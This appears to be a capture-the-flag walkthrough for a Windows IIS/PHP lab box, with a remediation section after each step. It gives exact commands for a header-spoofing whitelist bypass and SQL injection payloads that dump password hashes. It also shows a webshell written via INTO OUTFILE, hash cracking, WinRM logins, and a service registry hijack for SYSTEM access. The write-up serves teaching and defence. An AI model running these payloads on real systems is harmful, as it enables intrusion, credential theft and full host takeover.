← all walkthroughs

Control

Windows· Hard· Web
owned
2026-07-10
time to own
5m54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target control ($TARGET), a Windows IIS/PHP application server, was fully compromised via a chain of five misconfigurations. The admin panel was protected only by a server-side IP whitelist that trusted the client-supplied X-Forwarded-For header; the whitelisted proxy address was exposed in the public storefront's HTML source, making the bypass trivial.

The exposed admin search form was vulnerable to MySQL UNION-based SQL injection, which dumped password hashes for all database accounts including the Windows user hector. The database session held MySQL FILE privilege with no secure_file_priv restriction, allowing me to write a PHP webshell directly to the IIS webroot via INTO OUTFILE and achieve remote code execution as the IIS service account.

Hector's database password hash cracked to the password, which was reused as his Windows password; as a member of Remote Management Users he was accessed via PowerShell Remoting to read the user flag. Finally, hector's own PowerShell command history revealed he had been granted Full Control over the Windows service registry keys, enabling repointing of the LocalSystem-running seclogon service to me command and achieving full SYSTEM-level compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export PASSWORD2="<the-password-you-recovered>"
export HASH3="<the-hash-you-recovered>"

Attack path: how the box was taken

1ReconnaissanceService enumeration and information disclosure in HTML source (T1590)
Enumerated services and extracted the admin whitelist IP from page source
A port scan of $TARGET revealed IIS 10.0 with PHP 7.3.7 on port 80 and MariaDB on port 3306. Browsing the public storefront and inspecting the HTML source disclosed the string '$INTERNAL_HOST': the IP address of a trusted internal proxy. A direct request to /admin.php without that address returned an access-denied page, confirming the admin panel was restricted to that proxy IP. Because the proxy address appeared in client-visible source, no privileged access was needed to learn it.
Page source contained $INTERNAL_HOST as the whitelisted proxy address.
Exact commands 2
shell

Service-version scan of common Windows ports.

$ nmap -sV -sC -p 80,135,443,1433,3306,5985 $TARGET
shell

Extract any IP addresses embedded in the public page source.

$ curl -s http://$TARGET/ | grep -oE '([0-9]{1,3}\.){3}[0-9]{1,3}'
FixEnforce the admin IP whitelist at the network layer and remove internal addresses from public sourceHigh
WeaknessThe admin panel's access control relied on the client-supplied X-Forwarded-For header to identify the caller's IP. Because clients control this header, anyone who knew the whitelisted address, which was embedded in the public storefront's HTML, could trivially impersonate a trusted host. The allowed IP should never have appeared in client-visible source code.
FixRemove the X-Forwarded-For header check and enforce the IP restriction at the network layer: use a Windows Firewall rule, IIS IP Address and Domain Restrictions, or an upstream network ACL that acts on the actual TCP source address. If a reverse proxy is required, configure the web server to trust the forwarded-for header only from one specific, known proxy IP (never from arbitrary clients) and validate it at the application layer only as a secondary check. Audit all HTML, JavaScript, and configuration files served publicly to ensure no internal network addresses are disclosed.
2Initial AccessHTTP header spoofing / IP whitelist bypass (CWE-807)
Bypassed the admin IP whitelist with a spoofed X-Forwarded-For header
The server determined the requester's IP by reading the client-supplied X-Forwarded-For HTTP header rather than the actual TCP source address. Adding the header 'X-Forwarded-For: $INTERNAL_HOST' to every request to /admin.php satisfied the whitelist check and returned HTTP 200, exposing the full Fidelity admin panel including a product-search form.
Curl with X-Forwarded-For: $INTERNAL_HOST returned HTTP 200 with <title>Fidelity</title>; without the header the endpoint returned access-denied.
Exact commands 1
shell

Confirm the admin panel is reachable with the spoofed header.

$ curl -s -H "X-Forwarded-For: $INTERNAL_HOST" http://$TARGET/admin.php | head -30
3ExploitationUNION-based SQL injection (CWE-89 / T1190)
Dumped all database password hashes via UNION-based SQL injection
The admin product-search parameter (productName) was passed directly into a MySQL query without sanitization. A single quote triggered a database error. ORDER BY probing fixed the column count at 6. A UNION SELECT query against mysql.user extracted hashed passwords for all three accounts: root, manager, and hector. A follow-up query confirmed FILE_PRIV=Y for the active session user (manager@localhost) and that @@secure_file_priv was NULL, meaning unrestricted file writes were possible.
GROUP_CONCAT dump returned root:*0A4A..., manager:*CFE3..., hector:*0E17...; file_privs query returned manager:Y with secure_file_priv=NULL.
Exact commands 4
shell

Confirm SQLi: a single quote produces a database error.

$ curl -s -H "X-Forwarded-For: $INTERNAL_HOST" --data-urlencode "productName='" http://$TARGET/admin.php
shell

ORDER BY 6 succeeds; ORDER BY 7 errors: confirms 6 injectable columns.

$ curl -s -H "X-Forwarded-For: $INTERNAL_HOST" --data-urlencode "productName=test' ORDER BY 6-- -" http://$TARGET/admin.php
shell

Dump all mysql.user password hashes.

$ curl -s -H "X-Forwarded-For: $INTERNAL_HOST" --data-urlencode "productName=test' UNION SELECT 1,2,3,4,GROUP_CONCAT(user,0x3a,password,0x0a),6 FROM mysql.user-- -" http://$TARGET/admin.php
shell

Confirm FILE privilege and secure_file_priv setting for the session user.

$ curl -s -H "X-Forwarded-For: $INTERNAL_HOST" --data-urlencode "productName=test' UNION SELECT 1,2,3,4,CONCAT('cur=',CURRENT_USER(),0x0a,'fp=',GROUP_CONCAT(user,0x3a,file_priv),0x0a,'sfp=',IFNULL(@@secure_file_priv,'NULL')),6 FROM mysql.user-- -" http://$TARGET/admin.php
FixReplace dynamic SQL string concatenation with parameterized queriesCritical
WeaknessThe productName search parameter was concatenated directly into a MySQL query string. An unauthorised user could inject arbitrary SQL, breaking out of the intended query to extract the entire mysql.user table including password hashes.
FixRewrite all database queries using prepared statements with parameterized inputs (PDO with bindParam in PHP). Apply a least-privilege database account for the web application: it should have SELECT on application tables only, with no access to mysql.user or information_schema privileges tables. Enable a web application firewall (WAF) rule for SQL injection patterns as a defence-in-depth layer. Conduct a code review to identify and remediate any other dynamic query construction in the application.
4FootholdMySQL INTO OUTFILE webshell via FILE privilege (T1505.003 / CWE-434)
Wrote a PHP webshell to the IIS webroot using MySQL FILE privilege
Because the database session held FILE privilege and @@secure_file_priv was NULL (no write restriction), a UNION SELECT with INTO OUTFILE and LINES TERMINATED BY a hex-encoded PHP payload wrote an executable webshell to C:\inetpub\wwwroot\uploads\cmd2.php. A subsequent GET request to that path with a command parameter returned command output running as the IIS service account (nt authority\iusr), confirming remote code execution on the web server.
Curl to uploads/cmd2.php?c=whoami returned 'nt authority\iusr'; the hex payload decodes to <?php system($_REQUEST["c"]);?>
Exact commands 2
shell

Write webshell; hex payload decodes to: <?php system($_REQUEST["c"]);?>

$ curl -s -H "X-Forwarded-For: $INTERNAL_HOST" --data-urlencode "productName=test' LIMIT 1 INTO OUTFILE 'C:\\inetpub\\wwwroot\\uploads\\cmd2.php' LINES TERMINATED BY 0x3c3f7068702073797374656d28245f524551554553545b2263225d293b3f3e-- -" http://$TARGET/admin.php
shell

Confirm RCE: expect 'nt authority\iusr'.

$ curl -s "http://$TARGET/uploads/cmd2.php?c=whoami"
nt authority\iusr
FixRevoke MySQL FILE privilege and restrict INTO OUTFILE to a safe directoryCritical
WeaknessThe database account used by the web application held the MySQL FILE privilege with @@secure_file_priv=NULL (no write restriction). Any SQL injection reaching an INTO OUTFILE statement could write arbitrary content to any path the MySQL process had write access to, including the IIS webroot, resulting in a dropped PHP webshell and remote code execution.
FixRevoke FILE privilege from all application database accounts: REVOKE FILE ON *.* FROM 'manager'@'localhost'. Set secure_file_priv in my.cnf/my.ini to a dedicated, non-web-accessible directory or to an empty string to disable file export entirely; restart the MySQL service. Use OS-level ACLs to ensure the MySQL service account (NETWORK SERVICE or a dedicated account) has no write permission on C:\inetpub\wwwroot or any of its subdirectories.
5Credential AccessOffline password cracking and credential reuse (T1110.002 / T1078)
Cracked hector's MySQL password hash to recover a reused Windows password
The MySQL password hashes used the old MySQL double-SHA1 format (hashcat mode 300). Running hector's hash against the rockyou wordlist recovered the plaintext password in seconds. This same password was configured for hector's Windows account: the database and OS credentials were never managed independently, collapsing two authentication boundaries into one.
Hashcat -m 300 on <withheld> yielded the password; PSRemoting as CONTROL\hector subsequently succeeded.
Exact commands 2
shell

Save hector's extracted hash to a file.

$ echo "$HASH3" > hector.hash
shell

Crack MySQL double-SHA1 hash (mode 300) against rockyou wordlist.

$ hashcat -m 300 hector.hash /usr/share/wordlists/rockyou.txt
FixEnforce unique passwords across systems and prohibit reuse of database credentials as Windows passwordsHigh
WeaknessHector's MySQL password hash was crackable from a common wordlist, and the resulting plaintext was identical to his Windows account password. A single database credential dump immediately yielded valid operating-system credentials, collapsing two separate authentication boundaries into one.
FixEnforce a minimum 16-character password policy with complexity requirements via Group Policy (Fine-Grained Password Policy or Default Domain Policy). Mandate that database service passwords and Windows account passwords are managed independently and stored separately in a secrets manager (e.g., HashiCorp Vault, CyberArk, or Windows LAPS for local accounts). Rotate hector's Windows password and all currently known database passwords immediately. Consider enrolling privileged accounts in Protected Users security group to limit credential exposure.
6Lateral MovementPowerShell Remoting lateral movement (T1021.006)
Authenticated via PowerShell Remoting as hector and read user.txt
Hector's account was a member of the Remote Management Users group, enabling WinRM/PowerShell Remoting on port 5985. Using the cracked password to build a PSCredential object and invoking Invoke-Command against localhost executed commands in hector's Windows context. This confirmed the account, returned the hostname, and allowed reading the user flag from C:\Users\hector\Desktop\user.txt.
Invoke-Command with CONTROL\hector's password returned whoami=control\hector and user.txt contents.
Exact commands 2
shell

Interactive WinRM shell as hector (simplest approach).

$ evil-winrm -i $TARGET -u hector -p "$PASSWORD2"
shell

PSRemoting one-liner to confirm identity and read user flag; returns <user.txt>.

$ $sec = ConvertTo-SecureString "$PASSWORD2" -AsPlainText -Force; $cred = New-Object System.Management.Automation.PSCredential('CONTROL\hector', $sec); Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock { whoami; Get-Content C:\Users\hector\Desktop\user.txt }
CONTROL\hector
7Privilege EscalationService registry permissions weakness (T1574.011)
Abused service registry ACL misconfiguration to execute code as SYSTEM via seclogon
Reading hector's PowerShell command history (Get-PSReadlineOption) revealed prior registry-ACL manipulation granting hector Full Control over HKLM:\SYSTEM\CurrentControlSet\Services. The Secondary Logon service (seclogon) was configured with a Manual start type and ran as LocalSystem, meaning it could be started on demand and would execute its ImagePath binary as the highest Windows privilege. The root flag was retrieved over HTTP.
PowerShell history showed Set-Acl granting hector FullControl on service keys; Set-ItemProperty on seclogon ImagePath succeeded; Start-Service seclogon executed the command as SYSTEM; curl to uploads/r.txt returned root.txt.
Exact commands 4
shell

Read hector's PowerShell command history to discover the registry ACL misconfiguration.

$ $sec = ConvertTo-SecureString "$PASSWORD2" -AsPlainText -Force; $cred = New-Object System.Management.Automation.PSCredential('CONTROL\hector', $sec); Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock { gc (Get-PSReadlineOption).HistorySavePath }
shell

Confirm hector has FullControl over the seclogon service registry key.

$ Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock { Get-Acl 'HKLM:\SYSTEM\CurrentControlSet\Services\seclogon' | Format-List }
shell

Overwrite seclogon ImagePath to exfil root.txt to the webroot, then start the service as SYSTEM.

$ Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock { Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\seclogon' -Name ImagePath -Value 'cmd.exe /c type C:\Users\Administrator\Desktop\root.txt > C:\inetpub\wwwroot\uploads\r.txt'; Start-Service seclogon }
shell

Retrieve root.txt (<root.txt>) from the web-readable path.

$ curl -s http://$TARGET/uploads/r.txt
FixRestrict Windows service registry key ACLs to SYSTEM and Administrators onlyCritical
WeaknessThe registry key HKLM:\SYSTEM\CurrentControlSet\Services had been misconfigured to grant the non-administrative user hector Full Control. This allowed hector to overwrite the ImagePath of any service, including LocalSystem services such as seclogon, and start that service, effectively granting arbitrary code execution as SYSTEM to a standard user account.
FixAudit all ACLs under HKLM:\SYSTEM\CurrentControlSet\Services using Get-Acl in PowerShell or the Security Templates snap-in (secedit). Remove any non-administrative principals; only SYSTEM, built-in Administrators, and TrustedInstaller should hold write access to service registry keys. Apply the Microsoft Security Compliance Toolkit baseline for Windows Server to restore default service permissions. Enable auditing of registry-key permission changes and alert on Windows Event ID 4670 (permissions on an object were changed) for keys under CurrentControlSet\Services.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place (a config file, a database, a cracked hash, a service account) is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic: bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

Exposed services

80/tcp
135/tcp
3306/tcp
49666/tcp
49667/tcp